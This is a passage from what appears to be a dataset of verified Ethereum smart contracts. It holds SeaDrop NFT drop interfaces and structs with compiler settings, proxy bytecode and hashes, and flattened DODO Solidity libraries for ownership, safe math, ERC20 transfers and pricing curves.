is updated.\n */\n event ContractURIUpdated(string newContractURI);\n\n /**\n * @dev Emit an event when the max token supply is updated.\n */\n event MaxSupplyUpdated(uint256 newMaxSupply);\n\n /**\n * @dev Emit an event with the previous and new provenance hash after\n * being updated.\n */\n event ProvenanceHashUpdated(bytes32 previousHash, bytes32 newHash);\n\n /**\n * @dev Emit an event when the royalties info is updated.\n */\n event RoyaltyInfoUpdated(address receiver, uint256 bps);\n\n /**\n * @notice A struct defining royalty info for the contract.\n */\n struct RoyaltyInfo {\n address royaltyAddress;\n uint96 royaltyBps;\n }\n\n /**\n * @notice Sets the base URI for the token metadata and emits an event.\n *\n * @param tokenURI The new base URI to set.\n */\n function setBaseURI(string calldata tokenURI) external;\n\n /**\n * @notice Sets the contract URI for contract metadata.\n *\n * @param newContractURI The new contract URI.\n */\n function setContractURI(string calldata newContractURI) external;\n\n /**\n * @notice Sets the max supply and emits an event.\n *\n * @param newMaxSupply The new max supply to set.\n */\n function setMaxSupply(uint256 newMaxSupply) external;\n\n /**\n * @notice Sets the provenance hash and emits an event.\n *\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it has not been\n * modified after mint started.\n *\n * This function will revert after the first item has been minted.\n *\n * @param newProvenanceHash The new provenance hash to set.\n */\n function setProvenanceHash(bytes32 newProvenanceHash) external;\n\n /**\n * @notice Sets the address and basis points for royalties.\n *\n * @param newInfo The struct to configure royalties.\n */\n function setRoyaltyInfo(RoyaltyInfo calldata newInfo) external;\n\n /**\n * @notice Returns the base URI for token metadata.\n */\n function baseURI() external view returns (string memory);\n\n /**\n * @notice Returns the contract URI.\n */\n function contractURI() external view returns (string memory);\n\n /**\n * @notice Returns the max token supply.\n */\n function maxSupply() external view returns (uint256);\n\n /**\n * @notice Returns the provenance hash.\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it is unmodified\n * after mint has started.\n */\n function provenanceHash() external view returns (bytes32);\n\n /**\n * @notice Returns the address that receives royalties.\n */\n function royaltyAddress() external view returns (address);\n\n /**\n * @notice Returns the royalty basis points out of 10_000.\n */\n function royaltyBasisPoints() external view returns (uint256);\n}\n"
},
"src/lib/ERC721SeaDropStructsErrorsAndEvents.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.17;\n\nimport {\n AllowListData,\n PublicDrop,\n SignedMintValidationParams,\n TokenGatedDropStage\n} from \"./SeaDropStructs.sol\";\n\ninterface ERC721SeaDropStructsErrorsAndEvents {\n /**\n * @notice Revert with an error if mint exceeds the max supply.\n */\n error MintQuantityExceedsMaxSupply(uint256 total, uint256 maxSupply);\n\n /**\n * @notice Revert with an error if the number of token gated \n * allowedNftTokens doesn't match the length of supplied\n * drop stages.\n */\n error TokenGatedMismatch();\n\n /**\n * @notice Revert with an error if the number of signers doesn't match\n * the length of supplied signedMintValidationParams\n */\n error SignersMismatch();\n\n /**\n * @notice An event to signify that a SeaDrop token contract was deployed.\n */\n event SeaDropTokenDeployed();\n\n /**\n * @notice A struct to configure multiple contract options at a time.\n */\n struct MultiConfigureStruct {\n uint256 maxSupply;\n string baseURI;\n string contractURI;\n address seaDropImpl;\n PublicDrop publicDrop;\n string dropURI;\n AllowListData allowListData;\n address creatorPayoutAddress;\n bytes32 provenanceHash;\n\n address[] allowedFeeRecipients;\n address[] disallowedFeeRecipients;\n\n address[] allowedPayers;\n address[] disallowedPayers;\n\n // Token-gated\n address[] tokenGatedAllowedNftTokens;\n TokenGatedDropStage[] tokenGatedDropStages;\n address[] disallowedTokenGatedAllowedNftTokens;\n\n // Server-signed\n address[] signers;\n SignedMintValidationParams[] signedMintValidationParams;\n address[] disallowedSigners;\n }\n}"
},
"src/lib/SeaDropErrorsAndEvents.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.17;\n\nimport { PublicDrop, TokenGatedDropStage, SignedMintValidationParams } from \"./SeaDropStructs.sol\";\n\ninterface SeaDropErrorsAndEvents {\n /**\n * @dev Revert with an error if the drop stage is not active.\n */\n error NotActive(\n uint256 currentTimestamp,\n uint256 startTimestamp,\n uint256 endTimestamp\n );\n\n /**\n * @dev Revert with an error if the mint quantity is zero.\n */\n error MintQuantityCannotBeZero();\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the max allowed\n * to be minted per wallet.\n */\n error MintQuantityExceedsMaxMintedPerWallet(uint256 total, uint256 allowed);\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the max token\n * supply.\n */\n error MintQuantityExceedsMaxSupply(uint256 total, uint256 maxSupply);\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the max token\n * supply for the stage.\n * Note: The `maxTokenSupplyForStage` for public mint is\n * always `type(uint).max`.\n */\n error MintQuantityExceedsMaxTokenSupplyForStage(\n uint256 total, \n uint256 maxTokenSupplyForStage\n );\n \n /**\n * @dev Revert if the fee recipient is the zero address.\n */\n error FeeRecipientCannotBeZeroAddress();\n\n /**\n * @dev Revert if the fee recipient is not already included.\n */\n error FeeRecipientNotPresent();\n\n /**\n * @dev Revert if the fee basis points is greater than 10_000.\n */\n error InvalidFeeBps(uint256 feeBps);\n\n /**\n * @dev Revert if the fee recipient is already included.\n */\n error DuplicateFeeRecipient();\n\n /**\n * @dev Revert if the fee recipient is restricted and not allowed.\n */\n error FeeRecipientNotAllowed();\n\n /**\n * @dev Revert if the creator payout address is the zero address.\n */\n error CreatorPayoutAddressCannotBeZeroAddress();\n\n /**\n * @dev Revert with an error if the received payment is incorrect.\n */\n error IncorrectPayment(uint256 got, uint256 want);\n\n /**\n * @dev Revert with an error if the allow list proof is invalid.\n */\n error InvalidProof();\n\n /**\n * @dev Revert if a supplied signer address is the zero address.\n */\n error SignerCannotBeZeroAddress();\n\n /**\n * @dev Revert with an error if signer's signature is invalid.\n */\n error InvalidSignature(address recoveredSigner);\n\n /**\n * @dev Revert with an error if a signer is not included in\n * the enumeration when removing.\n */\n error SignerNotPresent();\n\n /**\n * @dev Revert with an error if a payer is not included in\n * the enumeration when removing.\n */\n error PayerNotPresent();\n\n /**\n * @dev Revert with an error if a payer is already included in mapping\n * when adding.\n * Note: only applies when adding a single payer, as duplicates in\n * enumeration can be removed with updatePayer.\n */\n error DuplicatePayer();\n\n /**\n * @dev Revert with an error if the payer is not allowed. The minter must\n * pay for their own mint.\n */\n error PayerNotAllowed();\n\n /**\n * @dev Revert if a supplied payer address is the zero address.\n */\n error PayerCannotBeZeroAddress();\n\n /**\n * @dev Revert with an error if the sender does not\n * match the INonFungibleSeaDropToken interface.\n */\n error OnlyINonFungibleSeaDropToken(address sender);\n\n /**\n * @dev Revert with an error if the sender of a token gated supplied\n * drop stage redeem is not the owner of the token.\n */\n error TokenGatedNotTokenOwner(\n address nftContract,\n address allowedNftToken,\n uint256 allowedNftTokenId\n );\n\n /**\n * @dev Revert with an error if the token id has already been used to\n * redeem a token gated drop stage.\n */\n error TokenGatedTokenIdAlreadyRedeemed(\n address nftContract,\n address allowedNftToken,\n uint256 allowedNftTokenId\n );\n\n /**\n * @dev Revert with an error if an empty TokenGatedDropStage is provided\n * for an already-empty TokenGatedDropStage.\n */\n error TokenGatedDropStageNotPresent();\n\n /**\n * @dev Revert with an error if an allowedNftToken is set to\n * the zero address.\n */\n error TokenGatedDropAllowedNftTokenCannotBeZeroAddress();\n\n /**\n * @dev Revert with an error if an allowedNftToken is set to\n * the drop token itself.\n */\n error TokenGatedDropAllowedNftTokenCannotBeDropToken();\n\n\n /**\n * @dev Revert with an error if supplied signed mint price is less than\n * the minimum specified.\n */\n error InvalidSignedMintPrice(uint256 got, uint256 minimum);\n\n /**\n * @dev Revert with an error if supplied signed maxTotalMintableByWallet\n * is greater than the maximum specified.\n */\n error InvalidSignedMaxTotalMintableByWallet(uint256 got, uint256 maximum);\n\n /**\n * @dev Revert with an error if supplied signed start time is less than\n * the minimum specified.\n */\n error InvalidSignedStartTime(uint256 got, uint256 minimum);\n \n /**\n * @dev Revert with an error if supplied signed end time is greater than\n * the maximum specified.\n */\n error InvalidSignedEndTime(uint256 got, uint256 maximum);\n\n /**\n * @dev Revert with an error if supplied signed maxTokenSupplyForStage\n * is greater than the maximum specified.\n */\n error InvalidSignedMaxTokenSupplyForStage(uint256 got, uint256 maximum);\n \n /**\n * @dev Revert with an error if supplied signed feeBps is greater than\n * the maximum specified, or less than the minimum.\n */\n error InvalidSignedFeeBps(uint256 got, uint256 minimumOrMaximum);\n\n /**\n * @dev Revert with an error if signed mint did not specify to restrict\n * fee recipients.\n */\n error SignedMintsMustRestrictFeeRecipients();\n\n /**\n * @dev Revert with an error if a signature for a signed mint has already\n * been used.\n */\n error SignatureAlreadyUsed();\n\n /**\n * @dev An event with details of a SeaDrop mint, for analytical purposes.\n * \n * @param nftContract The nft contract.\n * @param minter The mint recipient.\n * @param feeRecipient The fee recipient.\n * @param payer The address who payed for the tx.\n * @param quantityMinted The number of tokens minted.\n * @param unitMintPrice The amount paid for each token.\n * @param feeBps The fee out of 10_000 basis points collected.\n * @param dropStageIndex The drop stage index. Items minted\n * through mintPublic() have\n * dropStageIndex of 0.\n */\n event SeaDropMint(\n address indexed nftContract,\n address indexed minter,\n address indexed feeRecipient,\n address payer,\n uint256 quantityMinted,\n uint256 unitMintPrice,\n uint256 feeBps,\n uint256 dropStageIndex\n );\n\n /**\n * @dev An event with updated public drop data for an nft contract.\n */\n event PublicDropUpdated(\n address indexed nftContract,\n PublicDrop publicDrop\n );\n\n /**\n * @dev An event with updated token gated drop stage data\n * for an nft contract.\n */\n event TokenGatedDropStageUpdated(\n address indexed nftContract,\n address indexed allowedNftToken,\n TokenGatedDropStage dropStage\n );\n\n /**\n * @dev An event with updated allow list data for an nft contract.\n * \n * @param nftContract The nft contract.\n * @param previousMerkleRoot The previous allow list merkle root.\n * @param newMerkleRoot The new allow list merkle root.\n * @param publicKeyURI If the allow list is encrypted, the public key\n * URIs that can decrypt the list.\n * Empty if unencrypted.\n * @param allowListURI The URI for the allow list.\n */\n event AllowListUpdated(\n address indexed nftContract,\n bytes32 indexed previousMerkleRoot,\n bytes32 indexed newMerkleRoot,\n string[] publicKeyURI,\n string allowListURI\n );\n\n /**\n * @dev An event with updated drop URI for an nft contract.\n */\n event DropURIUpdated(address indexed nftContract, string newDropURI);\n\n /**\n * @dev An event with the updated creator payout address for an nft\n * contract.\n */\n event CreatorPayoutAddressUpdated(\n address indexed nftContract,\n address indexed newPayoutAddress\n );\n\n /**\n * @dev An event with the updated allowed fee recipient for an nft\n * contract.\n */\n event AllowedFeeRecipientUpdated(\n address indexed nftContract,\n address indexed feeRecipient,\n bool indexed allowed\n );\n\n /**\n * @dev An event with the updated validation parameters for server-side\n * signers.\n */\n event SignedMintValidationParamsUpdated(\n address indexed nftContract,\n address indexed signer,\n SignedMintValidationParams signedMintValidationParams\n ); \n\n /**\n * @dev An event with the updated payer for an nft contract.\n */\n event PayerUpdated(\n address indexed nftContract,\n address indexed payer,\n bool indexed allowed\n );\n}\n"
},
"src/lib/SeaDropStructs.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.17;\n\n/**\n * @notice A struct defining public drop data.\n * Designed to fit efficiently in one storage slot.\n * \n * @param mintPrice The mint price per token. (Up to 1.2m\n * of native token, e.g. ETH, MATIC)\n * @param startTime The start time, ensure this is not zero.\n * @param endTIme The end time, ensure this is not zero.\n * @param maxTotalMintableByWallet Maximum total number of mints a user is\n * allowed. (The limit for this field is\n * 2^16 - 1)\n * @param feeBps Fee out of 10_000 basis points to be\n * collected.\n * @param restrictFeeRecipients If false, allow any fee recipient;\n * if true, check fee recipient is allowed.\n */\nstruct PublicDrop {\n uint80 mintPrice; // 80/256 bits\n uint48 startTime; // 128/256 bits\n uint48 endTime; // 176/256 bits\n uint16 maxTotalMintableByWallet; // 224/256 bits\n uint16 feeBps; // 240/256 bits\n bool restrictFeeRecipients; // 248/256 bits\n}\n\n/**\n * @notice A struct defining token gated drop stage data.\n * Designed to fit efficiently in one storage slot.\n * \n * @param mintPrice The mint price per token. (Up to 1.2m \n * of native token, e.g.: ETH, MATIC)\n * @param maxTotalMintableByWallet Maximum total number of mints a user is\n * allowed. (The limit for this field is\n * 2^16 - 1)\n * @param startTime The start time, ensure this is not zero.\n * @param endTime The end time, ensure this is not zero.\n * @param dropStageIndex The drop stage index to emit with the event\n * for analytical purposes. This should be \n * non-zero since the public mint emits\n * with index zero.\n * @param maxTokenSupplyForStage The limit of token supply this stage can\n * mint within. (The limit for this field is\n * 2^16 - 1)\n * @param feeBps Fee out of 10_000 basis points to be\n * collected.\n * @param restrictFeeRecipients If false, allow any fee recipient;\n * if true, check fee recipient is allowed.\n */\nstruct TokenGatedDropStage {\n uint80 mintPrice; // 80/256 bits\n uint16 maxTotalMintableByWallet; // 96/256 bits\n uint48 startTime; // 144/256 bits\n uint48 endTime; // 192/256 bits\n uint8 dropStageIndex; // non-zero. 200/256 bits\n uint32 maxTokenSupplyForStage; // 232/256 bits\n uint16 feeBps; // 248/256 bits\n bool restrictFeeRecipients; // 256/256 bits\n}\n\n/**\n * @notice A struct defining mint params for an allow list.\n * An allow list leaf will be composed of `msg.sender` and\n * the following params.\n * \n * Note: Since feeBps is encoded in the leaf, backend should ensure\n * that feeBps is acceptable before generating a proof.\n * \n * @param mintPrice The mint price per token.\n * @param maxTotalMintableByWallet Maximum total number of mints a user is\n * allowed.\n * @param startTime The start time, ensure this is not zero.\n * @param endTime The end time, ensure this is not zero.\n * @param dropStageIndex The drop stage index to emit with the event\n * for analytical purposes. This should be\n * non-zero since the public mint emits with\n * index zero.\n * @param maxTokenSupplyForStage The limit of token supply this stage can\n * mint within.\n * @param feeBps Fee out of 10_000 basis points to be\n * collected.\n * @param restrictFeeRecipients If false, allow any fee recipient;\n * if true, check fee recipient is allowed.\n */\nstruct MintParams {\n uint256 mintPrice; \n uint256 maxTotalMintableByWallet;\n uint256 startTime;\n uint256 endTime;\n uint256 dropStageIndex; // non-zero\n uint256 maxTokenSupplyForStage;\n uint256 feeBps;\n bool restrictFeeRecipients;\n}\n\n/**\n * @notice A struct defining token gated mint params.\n * \n * @param allowedNftToken The allowed nft token contract address.\n * @param allowedNftTokenIds The token ids to redeem.\n */\nstruct TokenGatedMintParams {\n address allowedNftToken;\n uint256[] allowedNftTokenIds;\n}\n\n/**\n * @notice A struct defining allow list data (for minting an allow list).\n * \n * @param merkleRoot The merkle root for the allow list.\n * @param publicKeyURIs If the allowListURI is encrypted, a list of URIs\n * pointing to the public keys. Empty if unencrypted.\n * @param allowListURI The URI for the allow list.\n */\nstruct AllowListData {\n bytes32 merkleRoot;\n string[] publicKeyURIs;\n string allowListURI;\n}\n\n/**\n * @notice A struct defining minimum and maximum parameters to validate for \n * signed mints, to minimize negative effects of a compromised signer.\n *\n * @param minMintPrice The minimum mint price allowed.\n * @param maxMaxTotalMintableByWallet The maximum total number of mints allowed\n * by a wallet.\n * @param minStartTime The minimum start time allowed.\n * @param maxEndTime The maximum end time allowed.\n * @param maxMaxTokenSupplyForStage The maximum token supply allowed.\n * @param minFeeBps The minimum fee allowed.\n * @param maxFeeBps The maximum fee allowed.\n */\nstruct SignedMintValidationParams {\n uint80 minMintPrice; // 80/256 bits\n uint24 maxMaxTotalMintableByWallet; // 104/256 bits\n uint40 minStartTime; // 144/256 bits\n uint40 maxEndTime; // 184/256 bits\n uint40 maxMaxTokenSupplyForStage; // 224/256 bits\n uint16 minFeeBps; // 240/256 bits\n uint16 maxFeeBps; // 256/256 bits\n}"
}
},
"settings": {
"remappings": [
"ERC721A-Upgradeable/=lib/ERC721A-Upgradeable/contracts/",
"ERC721A/=lib/ERC721A/contracts/",
"create2-helpers/=lib/create2-helpers/src/",
"create2-scripts/=lib/create2-helpers/script/",
"ds-test/=lib/ds-test/src/",
"erc4626-tests/=lib/operator-filter-registry/lib/openzeppelin-contracts/lib/erc4626-tests/",
"forge-std/=lib/forge-std/src/",
"murky/=lib/murky/src/",
"openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/",
"openzeppelin-contracts/=lib/openzeppelin-contracts/contracts/",
"operator-filter-registry/=lib/operator-filter-registry/src/",
"seadrop/=src/",
"solmate/=lib/solmate/src/",
"utility-contracts/=lib/utility-contracts/src/"
],
"optimizer": {
"enabled": true,
"runs": 1000000
},
"metadata": {
"bytecodeHash": "none"
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"evmVersion": "london",
"libraries": {}
}
}} |
1 | 19,493,899 | 5613b991f5b9f0b943de0c9d3e7b301e8914f6a42ed0ba78a780de9795fe9c97 | bb04e67a6ad128d6fa7e4429e83f12fee91f4a92333d8eacb9f0903d9b5a2001 | 0c7b644fab27dc9bbe6c8dcb6428e7222eaa84de | 5e5a7b76462e4bdf83aa98795644281bdba80b88 | 719b61518d9bdf90846d5f53628705e34106b00e | 3d602d80600a3d3981f3363d3d373d3d3d363d737ca7b5eaaf526d93705d28c1b47e9739595c90e75af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d737ca7b5eaaf526d93705d28c1b47e9739595c90e75af43d82803e903d91602b57fd5bf3 | // File: contracts/lib/InitializableOwnable.sol
/*
Copyright 2020 DODO ZOO.
SPDX-License-Identifier: Apache-2.0
*/
pragma solidity 0.6.9;
pragma experimental ABIEncoderV2;
/**
* @title Ownable
* @author DODO Breeder
*
* @notice Ownership related functions
*/
contract InitializableOwnable {
address public _OWNER_;
address public _NEW_OWNER_;
bool internal _INITIALIZED_;
// ============ Events ============
event OwnershipTransferPrepared(address indexed previousOwner, address indexed newOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// ============ Modifiers ============
modifier notInitialized() {
require(!_INITIALIZED_, "DODO_INITIALIZED");
_;
}
modifier onlyOwner() {
require(msg.sender == _OWNER_, "NOT_OWNER");
_;
}
// ============ Functions ============
function initOwner(address newOwner) public notInitialized {
_INITIALIZED_ = true;
_OWNER_ = newOwner;
}
function transferOwnership(address newOwner) public onlyOwner {
emit OwnershipTransferPrepared(_OWNER_, newOwner);
_NEW_OWNER_ = newOwner;
}
function claimOwnership() public {
require(msg.sender == _NEW_OWNER_, "INVALID_CLAIM");
emit OwnershipTransferred(_OWNER_, _NEW_OWNER_);
_OWNER_ = _NEW_OWNER_;
_NEW_OWNER_ = address(0);
}
}
// File: contracts/lib/FeeRateModel.sol
interface IFeeRateImpl {
function getFeeRate(address pool, address trader) external view returns (uint256);
}
interface IFeeRateModel {
function getFeeRate(address trader) external view returns (uint256);
}
contract FeeRateModel is InitializableOwnable {
address public feeRateImpl;
function setFeeProxy(address _feeRateImpl) public onlyOwner {
feeRateImpl = _feeRateImpl;
}
function getFeeRate(address trader) external view returns (uint256) {
if(feeRateImpl == address(0))
return 0;
return IFeeRateImpl(feeRateImpl).getFeeRate(msg.sender,trader);
}
}
// File: contracts/intf/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
}
// File: contracts/lib/SafeMath.sol
/**
* @title SafeMath
* @author DODO Breeder
*
* @notice Math operations with safety checks that revert on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "MUL_ERROR");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "DIVIDING_ERROR");
return a / b;
}
function divCeil(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 quotient = div(a, b);
uint256 remainder = a - quotient * b;
if (remainder > 0) {
return quotient + 1;
} else {
return quotient;
}
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SUB_ERROR");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "ADD_ERROR");
return c;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = x / 2 + 1;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
// File: contracts/lib/DecimalMath.sol
/**
* @title DecimalMath
* @author DODO Breeder
*
* @notice Functions for fixed point number with 18 decimals
*/
library DecimalMath {
using SafeMath for uint256;
uint256 internal constant ONE = 10**18;
uint256 internal constant ONE2 = 10**36;
function mulFloor(uint256 target, uint256 d) internal pure returns (uint256) {
return target.mul(d) / (10**18);
}
function mulCeil(uint256 target, uint256 d) internal pure returns (uint256) {
return target.mul(d).divCeil(10**18);
}
function divFloor(uint256 target, uint256 d) internal pure returns (uint256) {
return target.mul(10**18).div(d);
}
function divCeil(uint256 target, uint256 d) internal pure returns (uint256) {
return target.mul(10**18).divCeil(d);
}
function reciprocalFloor(uint256 target) internal pure returns (uint256) {
return uint256(10**36).div(target);
}
function reciprocalCeil(uint256 target) internal pure returns (uint256) {
return uint256(10**36).divCeil(target);
}
}
// File: contracts/lib/SafeERC20.sol
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/lib/ReentrancyGuard.sol
/**
* @title ReentrancyGuard
* @author DODO Breeder
*
* @notice Protect functions from Reentrancy Attack
*/
contract ReentrancyGuard {
// https://solidity.readthedocs.io/en/latest/control-structures.html?highlight=zero-state#scoping-and-declarations
// zero-state of _ENTERED_ is false
bool private _ENTERED_;
modifier preventReentrant() {
require(!_ENTERED_, "REENTRANT");
_ENTERED_ = true;
_;
_ENTERED_ = false;
}
}
// File: contracts/lib/DODOMath.sol
/**
* @title DODOMath
* @author DODO Breeder
*
* @notice Functions for complex calculating. Including ONE Integration and TWO Quadratic solutions
*/
library DODOMath {
using SafeMath for uint256;
/*
Integrate dodo curve from V1 to V2
require V0>=V1>=V2>0
res = (1-k)i(V1-V2)+ikV0*V0(1/V2-1/V1)
let V1-V2=delta
res = i*delta*(1-k+k(V0^2/V1/V2))
i is the price of V-res trading pair
support k=1 & k=0 case
[round down]
*/
function _GeneralIntegrate(
uint256 V0,
uint256 V1,
uint256 V2,
uint256 i,
uint256 k
) internal pure returns (uint256) {
require(V0 > 0, "TARGET_IS_ZERO");
uint256 fairAmount = i.mul(V1.sub(V2)); // i*delta
if (k == 0) {
return fairAmount.div(DecimalMath.ONE);
}
uint256 V0V0V1V2 = DecimalMath.divFloor(V0.mul(V0).div(V1), V2);
uint256 penalty = DecimalMath.mulFloor(k, V0V0V1V2); // k(V0^2/V1/V2)
return DecimalMath.ONE.sub(k).add(penalty).mul(fairAmount).div(DecimalMath.ONE2);
}
/*
Follow the integration function above
i*deltaB = (Q2-Q1)*(1-k+kQ0^2/Q1/Q2)
Assume Q2=Q0, Given Q1 and deltaB, solve Q0
i is the price of delta-V trading pair
give out target of V
support k=1 & k=0 case
[round down]
*/
function _SolveQuadraticFunctionForTarget(
uint256 V1,
uint256 delta,
uint256 i,
uint256 k
) internal pure returns (uint256) {
if (V1 == 0) {
return 0;
}
if (k == 0) {
return V1.add(DecimalMath.mulFloor(i, delta));
}
// V0 = V1*(1+(sqrt-1)/2k)
// sqrt = √(1+4kidelta/V1)
// premium = 1+(sqrt-1)/2k
// uint256 sqrt = (4 * k).mul(i).mul(delta).div(V1).add(DecimalMath.ONE2).sqrt();
uint256 sqrt;
uint256 ki = (4 * k).mul(i);
if (ki == 0) {
sqrt = DecimalMath.ONE;
} else if ((ki * delta) / ki == delta) {
sqrt = (ki * delta).div(V1).add(DecimalMath.ONE2).sqrt();
} else {
sqrt = ki.div(V1).mul(delta).add(DecimalMath.ONE2).sqrt();
}
uint256 premium =
DecimalMath.divFloor(sqrt.sub(DecimalMath.ONE), k * 2).add(DecimalMath.ONE);
// V0 is greater than or equal to V1 according to the solution
return DecimalMath.mulFloor(V1, premium);
}
/*
Follow the integration expression above, we have:
i*deltaB = (Q2-Q1)*(1-k+kQ0^2/Q1/Q2)
Given Q1 and deltaB, solve Q2
This is a quadratic function and the standard version is
aQ2^2 + bQ2 + c = 0, where
a=1-k
-b=(1-k)Q1-kQ0^2/Q1+i*deltaB
c=-kQ0^2
and Q2=(-b+sqrt(b^2+4(1-k)kQ0^2))/2(1-k)
note: another root is negative, abondan
if deltaBSig=true, then Q2>Q1, user sell Q and receive B
if deltaBSig=false, then Q2<Q1, user sell B and receive Q
return |Q1-Q2|
as we only support sell amount as delta, the deltaB is always negative
the input ideltaB is actually -ideltaB in the equation
i is the price of delta-V trading pair
support k=1 & k=0 case
[round down]
*/
function _SolveQuadraticFunctionForTrade(
uint256 V0,
uint256 V1,
uint256 delta,
uint256 i,
uint256 k
) internal pure returns (uint256) {
require(V0 > 0, "TARGET_IS_ZERO");
if (delta == 0) {
return 0;
}
if (k == 0) {
return DecimalMath.mulFloor(i, delta) > V1 ? V1 : DecimalMath.mulFloor(i, delta);
}
if (k == DecimalMath.ONE) {
// if k==1
// Q2=Q1/(1+ideltaBQ1/Q0/Q0)
// temp = ideltaBQ1/Q0/Q0
// Q2 = Q1/(1+temp)
// Q1-Q2 = Q1*(1-1/(1+temp)) = Q1*(temp/(1+temp))
// uint256 temp = i.mul(delta).mul(V1).div(V0.mul(V0));
uint256 temp;
uint256 idelta = i.mul(delta);
if (idelta == 0) {
temp = 0;
} else if ((idelta * V1) / idelta == V1) {
temp = (idelta * V1).div(V0.mul(V0));
} else {
temp = delta.mul(V1).div(V0).mul(i).div(V0);
}
return V1.mul(temp).div(temp.add(DecimalMath.ONE));
}
// calculate -b value and sig
// b = kQ0^2/Q1-i*deltaB-(1-k)Q1
// part1 = (1-k)Q1 >=0
// part2 = kQ0^2/Q1-i*deltaB >=0
// bAbs = abs(part1-part2)
// if part1>part2 => b is negative => bSig is false
// if part2>part1 => b is positive => bSig is true
uint256 part2 = k.mul(V0).div(V1).mul(V0).add(i.mul(delta)); // kQ0^2/Q1-i*deltaB
uint256 bAbs = DecimalMath.ONE.sub(k).mul(V1); // (1-k)Q1
bool bSig;
if (bAbs >= part2) {
bAbs = bAbs - part2;
bSig = false;
} else {
bAbs = part2 - bAbs;
bSig = true;
}
bAbs = bAbs.div(DecimalMath.ONE);
// calculate sqrt
uint256 squareRoot =
DecimalMath.mulFloor(
DecimalMath.ONE.sub(k).mul(4),
DecimalMath.mulFloor(k, V0).mul(V0)
); // 4(1-k)kQ0^2
squareRoot = bAbs.mul(bAbs).add(squareRoot).sqrt(); // sqrt(b*b+4(1-k)kQ0*Q0)
// final res
